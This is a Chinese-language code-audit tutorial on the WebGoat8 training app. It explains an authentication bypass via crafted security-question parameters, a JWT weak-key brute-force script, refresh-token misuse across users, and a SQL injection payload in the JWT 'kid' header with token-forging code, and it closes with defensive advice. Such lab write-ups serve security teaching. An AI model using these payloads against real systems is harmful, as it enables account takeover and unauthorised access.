Java代码审计入门:WebGoat8(再会)
字数 1572 2025-08-18 11:39:04

Java代码审计入门:WebGoat8认证绕过与JWT安全

1. 认证绕过(Authentication Bypasses)

1.1 案例分析:PayPal双因子密码重置漏洞

  • 2016年漏洞:攻击者通过删除安全问题验证报文中的两个安全问题,绕过身份认证

1.2 WebGoat8认证绕过练习

  • 目标:绕过一个相似的密码重置功能
  • 初始尝试:删除安全问题参数失败

1.3 代码分析

VerifyAccount.java关键代码

@AssignmentPath("/auth-bypass/verify-account")
public class VerifyAccount extends AssignmentEndpoint {
    @PostMapping(produces = {"application/json"})
    public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) {
        Map<String,String> submittedAnswers = parseSecQuestions(req);
        if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {
            return failed();
        }
        if (verificationHelper.verifyAccount(new Integer(userId),(HashMap)submittedAnswers)) {
            return success();
        }
        return failed();
    }
    
    private HashMap<String,String> parseSecQuestions(HttpServletRequest req) {
        Map<String,String> userAnswers = new HashMap<>();
        for (String paramName : Collections.list(req.getParameterNames())) {
            if (paramName.contains("secQuestion")) {
                userAnswers.put(paramName,req.getParameter(paramName));
            }
        }
        return (HashMap)userAnswers;
    }
}

AccountVerificationHelper.java关键逻辑

public class AccountVerificationHelper {
    // 模拟数据库存储
    private static final Integer verifyUserId = new Integer(1223445);
    private static final Map<String,String> userSecQuestions = new HashMap<>();
    static {
        userSecQuestions.put("secQuestion0","Dr. Watson");
        userSecQuestions.put("secQuestion1","Baker Street");
    }

    // 作弊检测
    public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
        if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
            return true;
        }
        if (submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(userSecQuestions.get("secQuestion0"))
            && submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(userSecQuestions.get("secQuestion1"))) {
            return true;
        }
        return false;
    }

    // 账号验证
    public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions) {
        if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
            return false;
        }
        if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(userSecQuestions.get("secQuestion0"))) {
            return false;
        }
        if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(userSecQuestions.get("secQuestion1"))) {
            return false;
        }
        return true;
    }
}

1.4 绕过思路分析

  1. 验证流程

    • parseSecQuestions:收集所有包含"secQuestion"的参数
    • didUserLikelylCheat:检测作弊
      • 提交的安全问题数量等于系统预设数量(2个)
      • 提交了正确的secQuestion0和secQuestion1答案
    • verifyAccount:验证账号
      • 提交的安全问题数量必须等于系统预设数量
      • 如果提交了secQuestion0或secQuestion1,答案必须正确
  2. 绕过方法

    • 构造两个包含"secQuestion"但不是secQuestion0和secQuestion1的参数
    • 例如:secQuestionX和secQuestionY,值为任意

2. JWT(JSON Web Token)安全

2.1 JWT基础

  • 结构:Header.Payload.Signature
  • 特点:自包含、可验证、数字签名
  • 安全建议:
    • Payload中不存放敏感信息
    • 使用安全的通信协议传输
    • 密钥长度和复杂度要足够

2.2 WebGoat8 JWT练习

  • 目标:篡改JWT成为admin用户并重置投票

JWTVotesEndpoint.java关键代码

@AssignmentPath("/JWT/votings")
public class JWTVotesEndpoint {
    public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
    
    @GetMapping("/login")
    public void login(@RequestParam("user") String user, HttpServletResponse response) {
        Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
        claims.put("admin", "false");
        claims.put("user", user);
        String token = Jwts.builder()
            .setClaims(claims)
            .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
            .compact();
        // 设置cookie
    }
    
    @PostMapping("reset")
    public AttackResult resetVotes(@CookieValue(value = "access_token") String accessToken) {
        Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
        Claims claims = (Claims) jwt.getBody();
        boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
        if (!isAdmin) {
            return failed();
        }
        // 重置投票
        return success();
    }
}

2.3 攻击步骤

  1. 获取JWT密钥
    • 方法:弱密钥爆破
    • 使用PyJWT编写爆破脚本:
import jwt
import termcolor

jwt_str = 'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg'

with open('Top1000.txt') as f:
    for line in f:
        key_ = line.strip()
        try:
            jwt.decode(jwt_str, verify=True, key=key_)
            print('Found key:', termcolor.colored(key_, 'green'))
            break
        except jwt.exceptions.InvalidSignatureError:
            continue
  1. 篡改JWT

    • 使用获取的密钥"victory"
    • 将admin字段改为"true"
    • 生成新的JWT
  2. 使用篡改后的JWT发送reset请求

2.4 JWT刷新令牌(Refresh Token)安全问题

JWTRefreshEndpoint.java关键代码

@PostMapping("newToken")
public ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) {
    String user;
    String refreshToken;
    try {
        Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
        user = (String) jwt.getBody().get("user");
        refreshToken = (String) json.get("refresh_token");
    } catch (ExpiredJwtException e) {
        user = (String) e.getClaims().get("user");
        refreshToken = (String) json.get("refresh_token");
    }
    
    if (user == null || refreshToken == null) {
        return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
    } else if (validRefreshTokens.contains(refreshToken)) {
        validRefreshTokens.remove(refreshToken);
        return ResponseEntity.ok(createNewTokens(user)); // 漏洞点:未验证user和refreshToken的对应关系
    }
    return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}

攻击步骤

  1. 获取Tom的过期JWT
  2. 使用Jerry的账号密码(Jerry/bm5nhSkxCXZkKRy4)获取refresh token
  3. 使用Tom的过期JWT和Jerry的refresh token请求新token
  4. 获得Tom的新access token
  5. 使用新token进行操作

2.5 JWT Final挑战:SQL注入与密钥控制

JWTFinalEndpoint.java关键代码

@PostMapping("delete")
public AttackResult resetVotes(@RequestParam("token") String token) {
    Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
        @Override
        public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
            final String kid = (String) header.get("kid");
            ResultSet rs = connection.createStatement().executeQuery(
                "SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
            while (rs.next()) {
                return TextCodec.BASE64.decode(rs.getString(1));
            }
            return null;
        }
    }).parseClaimsJws(token);
    
    String username = (String) jwt.getBody().get("username");
    if ("Tom".equals(username)) {
        return success();
    }
    return failed();
}

攻击步骤

  1. 构造恶意JWT

    • 在header中设置kid参数进行SQL注入:
      {
        "kid": "webgoat_key' UNION SELECT 'cXdlcnR5cXdlcnR5MTIzNA==' -- "
      }
      
    • 将username改为"Tom"
    • 使用base64解码后的"qwertyqwerty1234"作为签名密钥
  2. 生成JWT的Java代码

public class JWTcryptotest {
    public static void createJWTToken() {
        Claims claims = Jwts.claims();
        claims.put("username", "Tom");
        // 其他必要字段...
        
        String token = Jwts.builder()
            .setClaims(claims)
            .setHeaderParam("kid", "webgoat_key' UNION SELECT 'cXdlcnR5cXdlcnR5MTIzNA==' -- ")
            .signWith(io.jsonwebtoken.SignatureAlgorithm.HS256, 
                     TextCodec.BASE64.decode("qwertyqwerty1234"))
            .compact();
    }
}

3. 关键总结

3.1 认证绕过

  • 黑盒测试时可尝试删除参数或修改参数数量
  • 代码审计时注意验证逻辑是否完整,特别是边界条件

3.2 JWT安全

  1. 开发注意事项

    • 不在JWT中暴露敏感信息
    • 使用足够强度的密钥(32位及以上随机字符)
    • 对敏感操作增加额外验证
  2. 测试方法

    • 检查JWT是否可解码获取敏感信息
    • 尝试弱密钥爆破
    • 篡改算法为none
    • 检查刷新令牌机制是否存在越权
  3. 刷新令牌最佳实践

    • 存储IP地址等信息验证用户可信度
    • 跟踪refresh token使用次数
    • 验证access token和refresh token的对应关系

3.3 SQL注入与JWT结合

  • 注意JWT头部参数可能被用于注入
  • 密钥解析过程中的动态查询可能成为攻击点
  • 测试时可尝试在JWT各个部分插入常见攻击payload
Java代码审计入门:WebGoat8认证绕过与JWT安全 1. 认证绕过(Authentication Bypasses) 1.1 案例分析:PayPal双因子密码重置漏洞 2016年漏洞:攻击者通过删除安全问题验证报文中的两个安全问题,绕过身份认证 1.2 WebGoat8认证绕过练习 目标:绕过一个相似的密码重置功能 初始尝试:删除安全问题参数失败 1.3 代码分析 VerifyAccount.java关键代码 AccountVerificationHelper.java关键逻辑 1.4 绕过思路分析 验证流程 : parseSecQuestions :收集所有包含"secQuestion"的参数 didUserLikelylCheat :检测作弊 提交的安全问题数量等于系统预设数量(2个) 提交了正确的secQuestion0和secQuestion1答案 verifyAccount :验证账号 提交的安全问题数量必须等于系统预设数量 如果提交了secQuestion0或secQuestion1,答案必须正确 绕过方法 : 构造两个包含"secQuestion"但不是secQuestion0和secQuestion1的参数 例如:secQuestionX和secQuestionY,值为任意 2. JWT(JSON Web Token)安全 2.1 JWT基础 结构:Header.Payload.Signature 特点:自包含、可验证、数字签名 安全建议: Payload中不存放敏感信息 使用安全的通信协议传输 密钥长度和复杂度要足够 2.2 WebGoat8 JWT练习 目标:篡改JWT成为admin用户并重置投票 JWTVotesEndpoint.java关键代码 2.3 攻击步骤 获取JWT密钥 : 方法:弱密钥爆破 使用PyJWT编写爆破脚本: 篡改JWT : 使用获取的密钥"victory" 将admin字段改为"true" 生成新的JWT 使用篡改后的JWT发送reset请求 2.4 JWT刷新令牌(Refresh Token)安全问题 JWTRefreshEndpoint.java关键代码 攻击步骤 获取Tom的过期JWT 使用Jerry的账号密码(Jerry/bm5nhSkxCXZkKRy4)获取refresh token 使用Tom的过期JWT和Jerry的refresh token请求新token 获得Tom的新access token 使用新token进行操作 2.5 JWT Final挑战:SQL注入与密钥控制 JWTFinalEndpoint.java关键代码 攻击步骤 构造恶意JWT : 在header中设置kid参数进行SQL注入: 将username改为"Tom" 使用base64解码后的"qwertyqwerty1234"作为签名密钥 生成JWT的Java代码 : 3. 关键总结 3.1 认证绕过 黑盒测试时可尝试删除参数或修改参数数量 代码审计时注意验证逻辑是否完整,特别是边界条件 3.2 JWT安全 开发注意事项 : 不在JWT中暴露敏感信息 使用足够强度的密钥(32位及以上随机字符) 对敏感操作增加额外验证 测试方法 : 检查JWT是否可解码获取敏感信息 尝试弱密钥爆破 篡改算法为none 检查刷新令牌机制是否存在越权 刷新令牌最佳实践 : 存储IP地址等信息验证用户可信度 跟踪refresh token使用次数 验证access token和refresh token的对应关系 3.3 SQL注入与JWT结合 注意JWT头部参数可能被用于注入 密钥解析过程中的动态查询可能成为攻击点 测试时可尝试在JWT各个部分插入常见攻击payload